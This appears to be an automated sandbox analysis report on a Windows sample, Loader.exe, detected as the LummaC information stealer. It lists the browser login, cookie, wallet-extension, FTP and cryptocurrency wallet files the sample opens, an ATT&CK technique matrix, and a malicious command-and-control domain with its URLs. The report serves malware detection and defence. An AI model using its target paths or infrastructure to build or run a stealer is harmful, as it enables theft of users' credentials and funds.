Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1620822901.0000000003239000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480118554.0000000003236000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Loader.exe PID: 3960, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 3960, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	22 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Loader.exe	63%	ReversingLabs	Win32.Spyware.Stealc
Loader.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://brendon-sharjen.biz/X	100%	Avira URL Cloud	malware
https://brendon-sharjen.biz/pi	100%	Avira URL Cloud	malware
https://brendon-sharjen.biz/piA	100%	Avira URL Cloud	malware
https://brendon-sharjen.biz/apiN	100%	Avira URL Cloud	malware
https://brendon-sharjen.biz/ob	100%	Avira URL Cloud	malware
https://brendon-sharjen.biz:443/api	100%	Avira URL Cloud	malware
https://brendon-sharjen.biz/api	100%	Avira URL Cloud	malware
https://brendon-sharjen.biz/	100%	Avira URL Cloud	malware
https://brendon-sharjen.biz/(waS	100%	Avira URL Cloud	malware
brendon-sharjen.biz	100%	Avira URL Cloud	malware
https://brendon-sharjen.biz/apiMk	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
brendon-sharjen.biz	172.67.130.33	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	false		high
impend-differ.biz	false		high
covery-mover.biz	false		high
dwell-exclaim.biz	false		high
https://brendon-sharjen.biz/api	true	Avira URL Cloud: malware	unknown
zinc-sneark.biz	false		high
brendon-sharjen.biz	true	Avira URL Cloud: malware	unknown
formy-spill.biz	false		high
se-blurry.biz	false		high
print-vexer.biz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://brendon-sharjen.biz/X	Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://brendon-sharjen.biz/pi	Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://brendon-sharjen.biz/piA	Loader.exe, 00000000.00000003.1716225077.0000000003241000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.12.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Loader.exe, 00000000.00000003.1579194431.0000000003558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://brendon-sharjen.biz/apiN	Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://brendon-sharjen.biz:443/api	Loader.exe, 00000000.00000003.1618747429.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://brendon-sharjen.biz/ob	Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1716225077.0000000003241000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://brendon-sharjen.biz/	Loader.exe, 00000000.00000003.1621030291.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1621378594.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000002.2090653765.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1716354436.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1716225077.0000000003241000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1620822901.0000000003239000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000002.2090653765.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	false		high
https://brendon-sharjen.biz/(waS	Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1716225077.0000000003241000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	Loader.exe, 00000000.00000003.1579194431.0000000003558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	false		high
